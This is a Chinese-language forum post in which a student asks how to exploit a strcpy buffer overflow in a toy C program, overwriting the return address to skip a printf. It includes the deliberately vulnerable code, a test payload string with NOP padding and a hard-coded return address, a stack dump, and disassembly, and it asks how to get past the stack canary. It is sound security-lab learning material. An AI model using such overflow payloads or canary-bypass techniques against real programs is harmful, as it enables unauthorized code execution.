- 论坛徽章:
- 0
|
现有一已知代码存在溢出漏洞,要通过不修改程序代码 输入参数的方式修改函数func的返回地址,达到跳过printf("x is 1"); 这个语句的目的,就是最后输出的结果为x is 0
想问一下怎么才能达到目的? 由于我不知道怎么在输入字符串的形式下输入16进制,所以我先试试修改代码的输入方式来达到目的,可是总是说stack smashing detected.
下面那个测试代码就是我加的,我已经知道了要修改func的函数返回地址为0x0804847e, 而不能改变原ebp的值,有没有其他方式,例如空操作NOP 可以跳过敏感区 只修改函数func的返回地址,避免那个stack smashing detected啊?
由于输入的参数是字符串,不是16进制,我也不懂怎么转换,各位高手指点一下小弟吧。。。已经想了3天了。。。昨天通宵了。。还没调出来。。。呜呜呜。。。
考古一下,,我找到一个类似的帖子
【好玩】缓冲区溢出攻击实验
http://bbs.chinaunix.net/viewthr ... p;extra=&page=1
可是这个例子是输入16进制的。。。帮帮我吧。。谢谢各位。。。
void func(char *str)
{
char buffer[24];
int *ret;
strcpy(buffer,str); ///攻击点
}
int main(int argc, char **argv)
{
int x;
x = 0;
func(argv[1]);
//func("AAAAAAAAAAAAAAAAAAAA\x90\x90\x90\x90\x90\x90\x90\x90\x48\xe0\xb4\xbf\x7e\x84\x04\x08"); ///测试代码
x = 1;
printf("x is 1"); ///要跳过的语句
printf("x is 0");
}
0xbfdde280: 0xbfdde29c 0x08048550 0x00000000 0x00000000
0xbfdde290: 0x00000000 0x08048550 0x00000000 0x41414141
0xbfdde2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfdde2b0: 0x90909090 0x90909090 0xbfb4e048 原ebp 0x0804847e 函数返回地址
代码反汇编
0x08048404 <func+0>: push %ebp
0x08048405 <func+1>: mov %esp,%ebp
0x08048407 <func+3>: sub $0x38,%esp
0x0804840a <func+6>: mov 0x8(%ebp),%eax
0x0804840d <func+9>: mov %eax,-0x24(%ebp)
0x08048410 <func+12>: mov %gs:0x14,%eax
0x08048416 <func+18>: mov %eax,-0x4(%ebp)
0x08048419 <func+21>: xor %eax,%eax
0x0804841b <func+23>: mov -0x24(%ebp),%eax
0x0804841e <func+26>: mov %eax,0x4(%esp)
0x08048422 <func+30>: lea -0x1c(%ebp),%eax
0x08048425 <func+33>: mov %eax,(%esp)
0x08048428 <func+36>: call 0x8048344 <strcpy@plt>
0x0804842d <func+41>: mov -0x4(%ebp),%eax
0x08048430 <func+44>: xor %gs:0x14,%eax
0x08048437 <func+51>: je 0x804843e <func+58>
0x08048439 <func+53>: call 0x8048364 <__stack_chk_fail@plt>
0x0804843e <func+58>: leave
0x0804843f <func+59>: ret
0x08048440 <main+0>: lea 0x4(%esp),%ecx
0x08048444 <main+4>: and $0xfffffff0,%esp
0x08048447 <main+7>: pushl -0x4(%ecx)
0x0804844a <main+10>: push %ebp
0x0804844b <main+11>: mov %esp,%ebp
0x0804844d <main+13>: push %ecx
0x0804844e <main+14>: sub $0x14,%esp
0x08048451 <main+17>: movl $0x0,-0x8(%ebp)
0x08048458 <main+24>: movl $0x8048550,(%esp)
0x0804845f <main+31>: call 0x8048404 <func>
0x08048464 <main+36>: movl $0x1,-0x8(%ebp)
0x0804846b <main+43>: movl $0x8048575,(%esp)
0x08048472 <main+50>: call 0x8048354 <printf@plt>
0x08048477 <main+55>: movl $0x804857c,(%esp)
0x0804847e <main+62>: call 0x8048354 <printf@plt>
0x08048483 <main+67>: add $0x14,%esp
0x08048486 <main+70>: pop %ecx
0x08048487 <main+71>: pop %ebp
0x08048488 <main+72>: lea -0x4(%ecx),%esp
0x0804848b <main+75>: ret |
|